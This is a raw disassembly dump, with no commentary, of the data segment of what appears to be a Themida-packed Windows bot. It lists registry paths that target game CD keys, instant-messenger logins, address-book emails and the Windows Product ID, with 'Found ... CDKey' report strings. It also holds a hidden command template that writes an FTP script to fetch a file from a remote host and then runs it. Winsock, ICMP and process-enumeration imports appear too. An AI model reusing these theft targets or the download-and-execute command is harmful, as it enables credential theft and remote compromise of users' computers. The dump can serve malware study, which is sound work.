dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
align 4
dd 0
dword_44692C dd 3A6D6961h, 732520h, 0dword_446938 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:00434E82o
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 ; DATA XREF: ___:00434DF9o
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 ; DATA XREF: ___:00434DDAo
align 8
aSMainS db '%s\main\%s',0 ; DATA XREF: ___:00434D9Do
align 8
aCodkey db 'codkey',0 ; DATA XREF: ___:00434D97o
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 ; DATA XREF: ___:00434D4Fo
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 ; DATA XREF: ___:00434CE8o
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: ___:00434CC9o
align 4
dd 0
aSBaseMpS db '%s\base\mp\%s',0 ; DATA XREF: ___:00434C8Co
align 4
aInstallpath db 'InstallPath',0 ; DATA XREF: ___:00434C5Fo
; ___:00434D70o
dd 0
aMsnS db 'msn: %s',0 ; DATA XREF: ___:004354DDo
align 8
aAllowD db 'Allow%d',0 ; DATA XREF: ___:00435489o
dd 0
aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00435447o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4356F0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo
align 4
loc_446BA4: ; DATA XREF: sub_4356F0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_446BAF: ; DATA XREF: sub_4356F0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_446BBB: ; DATA XREF: sub_4356F0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_446BC7: ; DATA XREF: ___:00435EB6o
; ___:00436110o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_446BD8: ; CODE XREF: ___:00446BDDj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_446BD8
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043633Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_446CD0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o
; ___:0043E354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Bh dup(0)
byte_446F60 db 0 ; DATA XREF: sub_4034E0+95o
; sub_404640+200o ...
align 4
dword_446F64 dd 0 ; sub_4245F0+11o ...
dword_446F68 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ...
align 10h
dword_446F70 dd 0 ; ___:0040D345w ...
dd 8 dup(0)
dword_446F94 dd 41h dup(0) ; ___:0040D380o ...
dword_447098 dd 0 ; ___:loc_40D3D4r ...
dword_44709C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ...
dword_4470A0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw
dword_4470A4 dd 0 ; sub_40D580+E3r
dd 11h dup(0)
dword_4470EC dd 0 ; sub_40FF60+47Dr
dword_4470F0 dd 0 ; sub_40FF60+515r ...
dword_4470F4 dd 0 ; sub_40FF60+655r ...
dword_4470F8 dd 0 ; sub_40FF60+B79r ...
dword_4470FC dd 0 ; sub_40FF60+74Br
dword_447100 dd 0 ; sub_40FF60+828r
dword_447104 dd 0 ; sub_40FF60+77Cr
dword_447108 dd 0 ; sub_40FF60+4DDr ...
dword_44710C dd 0 ; sub_40FF60+311r
dword_447110 dd 0 ; sub_40FF60+34Dr ...
dword_447114 dd 0 ; sub_40FF60+33Dr
dword_447118 dd 0 ; sub_40FF60+3D2r
dword_44711C dd 0 ; sub_40FF60+E93r
dword_447120 dd 0 ; sub_40FF60+1220r ...
dword_447124 dd 0 ; sub_411FE0+4DAr
dword_447128 dd 0 ; sub_40FF60+683r
dword_44712C dd 0 ; sub_40FF60+6B5r
dword_447130 dd 0 ; sub_40FF60+1252r
dd 5 dup(0)
dword_447148 dd 10h dup(0) ; sub_403FC0+9Fo ...
db 2 dup(0)
byte_44718A db 0 ; DATA XREF: sub_409A30r sub_409AA0r
align 4
db 3 dup(0)
byte_44718F db 0 ; DATA XREF: sub_40D580+10Fr
db 0
byte_447191 db 0 ; DATA XREF: sub_40DB10r
word_447192 dw 0 ; DATA XREF: sub_40DB10+9o
dd 44h dup(0)
db 3 dup(0)
byte_4472A7 db 0 ; DATA XREF: ___:00412ECAo
; ___:00412F7Fo ...
db 3 dup(0)
byte_4472AB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr
align 10h
dword_4472B0 dd 12h dup(0) ; sub_40FF60+114o
db 0
byte_4472F9 db 3 dup(0) ; DATA XREF: ___:00408AEBo
; sub_40FF60+159o ...
dd 11h dup(0)
db 2 dup(0)
word_447342 dw 0 ; DATA XREF: ___:00408AC2o
; sub_40FF60+132o
dd 6 dup(0)
word_44735C dw 0 ; DATA XREF: sub_40FF60+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44738B db 0 ; DATA XREF: ___:00408B14o
; sub_40FF60+17Co ...
dd 12h dup(0)
dword_4473D4 dd 12h dup(0) ; sub_40FF60+F7o ...
db 0
byte_44741D db 3 dup(0) ; DATA XREF: ___:00408A4Do
; sub_40FF60+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_4474AF db 0 ; DATA XREF: ___:00408B3Do
; sub_40FF60+19Ao
dd 24h dup(0)
db 0
byte_447541 db 3 dup(0) ; DATA XREF: sub_425020+2Bo
; sub_425020+37o
dd 11h dup(0)
db 2 dup(0)
word_44758A dw 0 ; DATA XREF: ___:00412E9Ao
; ___:00412EB9o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44767F dd 0 ; sub_41EF30+154r ...
align 4
dd 35h dup(0)
db 0
byte_447759 db 0 ; DATA XREF: sub_41B950+18r
align 4
dd 36h dup(0)
byte_447834 db 0 ; DATA XREF: sub_40FF60+842r
align 4
dd 0Bh dup(0)
dword_447864 dd 18h dup(0) ; sub_40ED70+97o ...
db 2 dup(0)
byte_4478C6 db 0 ; DATA XREF: sub_404C70+258r
; sub_41D830+671r
align 4
dd 11h dup(0)
db 3 dup(0)
byte_44790F db 0 ; DATA XREF: sub_404C70:loc_404EE0r
; sub_41D830:loc_41DEB9r
dd 0Bh dup(0)
db 3 dup(0)
byte_44793F db 0 ; DATA XREF: sub_404C70+279o
; sub_41D830+692o ...
dd 12h dup(0)
dword_447988 dd 2Bh dup(0) ; sub_41EF30+630o ...
dword_447A34 dd 0 dd 11h dup(0)
db 0
dword_447A7D dd 0 align 4
dd 0D9h dup(0)
byte_447DE8 db 0 ; DATA XREF: sub_41EF30+146r
; sub_41EF30+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_448C8E dw 0 ; DATA XREF: sub_404640+1BDo
; sub_404B10+31o ...
db 2 dup(0)
word_448C92 dw 0 ; DATA XREF: sub_404B10+4o
dd 1Ch dup(0)
db 2 dup(0)
word_448D06 dw 0 ; DATA XREF: sub_407660+36o
; sub_4076F0+3Eo ...
dd 26h dup(0)
dword_448DA0 dd 86h dup(0) ; sub_404C70+27Eo ...
db 3 dup(0)
byte_448FBB db 0 ; DATA XREF: sub_425640+3Bw
; sub_4256B0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_4491BB dd 0 ; sub_4256B0+4Fw ...
dword_4491BF dd 0 ; ___:004240BDw ...
dword_4491C3 dd 0 ; sub_4256B0+5Dr ...
dword_4491C7 dd 0 ; sub_4256B0+8Cr ...
dword_4491CB dd 0 ; sub_4256B0+9Dr
dword_4491CF dd 0 ; ___:004240F1r ...
byte_4491D3 db 0 ; DATA XREF: sub_425640+42w
; sub_4256B0+85w
dd 301Ch dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_444F30o
dword_455248 dd 0EB85h dup(0)
dword_49005C dd 0B0A3h dup(0) db 0
byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o
dd 6058h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44432Co
dd 6DAh dup(0)
db 3 dup(0)
dword_4D5FBB dd 0 ; sub_4258E0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D60A5 db 3 dup(0) ; DATA XREF: sub_403FC0+493o
; sub_404C20+1Eo ...
dd 5 dup(0)
byte_4D60BC db 0 ; DATA XREF: sub_404C70+292w
; sub_404C70+4EEw
dword_4D60BD dd 0 ; sub_422A40:loc_4231C4r ...
align 4
dd 0
db 0
dword_4D60C9 dd 0 ; sub_404C20+2Aw
byte_4D60CD db 3 dup(0) ; DATA XREF: ___:00412EF4o
; ___:00412F17o
dd 9 dup(0)
db 3 dup(0)
dword_4D60F7 dd 0 ; sub_427AD0:loc_427BC7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D61BB db 0 ; DATA XREF: sub_425870+16o
; sub_4258A0+19o
db 3 dup(0)
byte_4D61BF db 0 ; DATA XREF: sub_4257A0+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D637F db 0 ; DATA XREF: sub_407790+A48o
; sub_407790+ED4o ...
dd 8 dup(0)
dword_4D63A0 dd 0 dd 51h dup(0)
db 0
byte_4D64E9 db 0 ; DATA XREF: sub_426820:loc_4268D0r
; sub_426CE0:loc_426D95r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D6765 dd 0 ; sub_426CE0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4DE2D5 db 3 dup(0) ; DATA XREF: ___:00419E93o
; sub_419F50+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E5DBF db 0 ; DATA XREF: sub_426A60+1Do
dd 21h dup(0)
db 0
byte_4E5E45 db 3 dup(0) ; DATA XREF: ___:00419EA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E671F db 0 ; DATA XREF: sub_426A60+2Fo
dd 1D5h dup(0)
byte_4E6E74 db 0 ; DATA XREF: sub_404C70+299w
; sub_40FF60:loc_40FFA2r ...
byte_4E6E75 db 3 dup(0) ; DATA XREF: sub_403FC0+4D2o
; sub_404C70+235o ...
dd 4 dup(0)
db 2 dup(0)
word_4E6E8A dw 0 ; DATA XREF: sub_404C70+2D4o
; sub_407790+EE8o ...
dd 0Fh dup(0)
db 0
byte_4E6EC9 db 0 ; DATA XREF: sub_41F860+31w
; sub_41F860+47w ...
db 0
byte_4E6ECB db 0 ; DATA XREF: sub_418490+21o
; sub_41D830+341o ...
dword_4E6ECC dd 7522h dup(0)
dword_504354 dd 0AC2h dup(0) dword_506E5C dd 1000h dup(0) ; ___:00419A9Do ...
dword_50AE5C dd 333h dup(0) ; ___:00419AB8o ...
dword_50BB28 dd 0 ; sub_41A010+1Br ...
dd 3 dup(0)
dword_50BB38 dd 0 ; ___:0041FB3Dw ...
dword_50BB3C dd 0 ; sub_41FA90+2Aw ...
dword_50BB40 dd 0 dword_50BB44 dd 0 ; ___:0041FB5Bw
dword_50BB48 dd 0 dword_50BB4C dd 0 ; ___:0041FB67w ...
dword_50BB50 dd 0 ; ___:0041FB6Dw ...
dword_50BB54 dd 0 ; ___:00420DA9o
dword_50BB58 dd 0 ; sub_41FA90:loc_41FAB4r ...
dword_50BB5C dd 0 ; ___:0041FB81w
dword_50BB60 dd 0 ; sub_420530+41w ...
dword_50BB64 dd 0 ; sub_420530+7Fr
dword_50BB68 dd 0 ; sub_420530+92r ...
dword_50BB6C dd 0 ; sub_420530+148r
dd 3 dup(0)
dword_50BB7C dd 0 ; ___:0041C1A5o
dword_50BB80 dd 0 ; sub_423720+5r ...
dword_50BB84 dd 0 ; ___:00423EB1r ...
dd 7CEh dup(0)
dword_50DAC0 dd 6 dup(0) ; ___:00423DB2o ...
dword_50DAD8 dd 196h dup(0) ; sub_423660+6Do
dword_50E130 dd 0 word_50E134 dw 0 ; DATA XREF: sub_424E90+A9r
align 4
byte_50E138 db 0 ; DATA XREF: sub_4254E0:loc_425540r
; sub_4254E0+97w
align 4
dword_50E13C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r
dword_50E140 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r
dword_50E144 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ...
dd 0
dword_50E14C dd 80h dup(0) ; sub_426A60+129o
dword_50E34C dd 0 dword_50E350 dd 0 dd 1Dh dup(0)
dword_50E3C8 dd 0 ; sub_42B060+BDr ...
dword_50E3CC dd 0 ; sub_42CB10:loc_42CBA6r ...
dword_50E3D0 dd 0 ; resolved to->MSVCRT.calloc ; sub_431280+2Dr ...
dword_50E3D4 dd 0 dword_50E3D8 dd 0 ; sub_430270r ...
dword_50E3DC dd 0 dword_50E3E0 dd 0 ; sub_42F6B0+111w ...
dword_50E3E4 dd 0 ; sub_42F6B0+F6r ...
dword_50E3E8 dd 0 ; ___:loc_4303B0r
dword_50E3EC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ...
dd 2 dup(0)
dword_50E3F8 dd 0 ; ___:004349CDr
dword_50E3FC dd 139h dup(0) ; ___:00434B36o
dword_50E8E0 dd 10h dup(0) ; sub_430180:loc_4301B0o ...
dword_50E920 dd 8 dup(0) ; sub_42F540+25o ...
dword_50E940 dd 8 dup(0) ; sub_430690+25o ...
dword_50E960 dd 8 dup(0) ; sub_431560+84o ...
dword_50E980 dd 8 dup(0) ; sub_431560+8Bo ...
dword_50E9A0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh, 18Ah dup(0)
dd 5 dup(7FAEB6CAh), 5 dup(467E6C3Bh), 5 dup(7880050Fh)
dd 5 dup(53A6B7B1h), 5 dup(2957278Bh), 5 dup(6B42D42Eh)
dd 5 dup(21124241h), 5 dup(19859DC1h), 5 dup(1902FF23h)
dd 5 dup(4DF78446h), 5 dup(2529ABE0h), 1Eh dup(0)
dd 6B42D42Eh, 10h dup(0)
dd 2529ABE0h, 58h dup(0)
dd 53A6B7B1h, 1Bh dup(0)
dd 1902FF23h, 14h dup(0)
dd 467E6C3Bh, 52h dup(0)
dd 7FAEB6CAh, 1Bh dup(0)
dd 4DF78446h, 0Bh dup(0)
dd 21124241h, 0Ch dup(0)
dd 2957278Bh, 2Bh dup(0)
dd 19859DC1h, 11h dup(0)
dd 7880050Fh, 0Ah dup(0)
dd 28B02FFh, 28C0000h, 28D0000h
dword_50F710 dd 28D146Fh dd 28D15A2h
dword_50F718 dd 28D189Fh ; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1Bh, 8Dh, 2
dd 28E0000h
dword_50F724 dd 28F0000h ; sub_4356F0+D1r
dd 2900000h, 290040Dh, 29006FFh, 2900BF1h
dword_50F738 dd 2910000h ; sub_40E7A0+25Ar ...
dword_50F73C dd 291056Eh dword_50F740 dd 29107B1h dd 29108F0h, 2910C76h
dword_50F74C dd 2920000h ; sub_40ED70+15Er ...
dd 29202C1h
dword_50F754 dd 2930000h ; sub_40E7A0+22Cr
dd 2930E02h
dword_50F75C dd 2940000h ; sub_4207E0+285r ...
dd 2950000h
dword_50F764 dd 295100Eh ; sub_40E7A0+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dd 2710000h, 27100D8h, 2720000h, 27205C4h, 2720828h, 2720B14h
dd 2720C61h, 2730000h, 2730624h, 2730A27h, 2730D62h, 2740000h
dd 2740650h, 2740684h, 27409F5h, 2750000h, 2750321h, 275067Dh
dd 2750828h, 2750B99h, 2760000h, 2760533h, 27605C1h, 276097Ch
dd 2760B21h, 2760CE6h, 2770000h, 2770253h, 27704C8h, 27706B9h
dd 2770835h, 27708FAh
dword_50F858 dd 2780000h dword_50F85C dd 27806EAh dword_50F860 dd 2780965h dd 7C901005h, 7C9010EDh, 2780B3Dh, 2780B73h
dword_50F874 dd 2790000h ; sub_420530+FEr
dd 279060Eh, 27A0000h, 27A0375h, 27A06A2h, 27B0000h, 27C0000h
dd 27C07D9h, 27D0000h, 27E0000h, 27E08BFh
dword_50F8A0 dd 27F0000h ; sub_420530:loc_42057Cr ...
dword_50F8A4 dd 27F06FDh ; sub_40FF60+47r ...
dd 27F07C4h, 27F0993h, 2800000h, 2810000h, 2811186h, 2820000h
dd 2830000h
dword_50F8C4 dd 2831721h dd 283192Dh, 2840000h
dword_50F8D0 dd 28402DAh ; sub_418490+C5r ...
dd 284048Ah
dword_50F8D8 dd 2850000h ; sub_4203D0+2Er ...
dd 2850437h, 2860000h, 2860BFBh
dword_50F8E8 dd 2870000h dd 28702BBh, 2880000h, 2890000h, 2891242h, 2891D7Dh, 28A0000h
dd 28A06ADh, 28A0AD2h
dd 28A0C1Eh
dd 1Ah dup(0)
dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
dd 77C3A3DBh, 77C4186Ah
dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ...
dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0C0h, 0C2h, 77h
dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C41B72h
dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ...
dd 77C371BCh
dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ...
dd 77C2C407h
dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r
dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h
db 0CFh, 0C1h, 77h
dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C226F6h, 77C214E7h, 77C29CC5h
dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr
dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ...
dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr
dd 77C29CDDh, 77C293C7h
dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ...
dd 77C35F0Dh, 77C46170h
dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h
dword_50FB1C dd 77C46320h ; resolved to->MSVCRT._strlwr dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 28B0000h
off_50FBF0 dd offset sub_5EA1BD ; DATA XREF: ___:00419EBDr
; sub_419F50+2Dr ...
dd 0Bh dup(0)
dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h
dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ...
dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h
dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r
dd 71AB2BC0h
dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh
dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h
dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ...
dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ...
dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ...
dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ...
dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
dd 76D6AC1Dh, 4C5h dup(0)
___ ends
; Section 2. (virtual address 00111000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00111000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 511000h
unk_511000 db 0 ; DATA XREF: Themida_:0057A3CCo
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
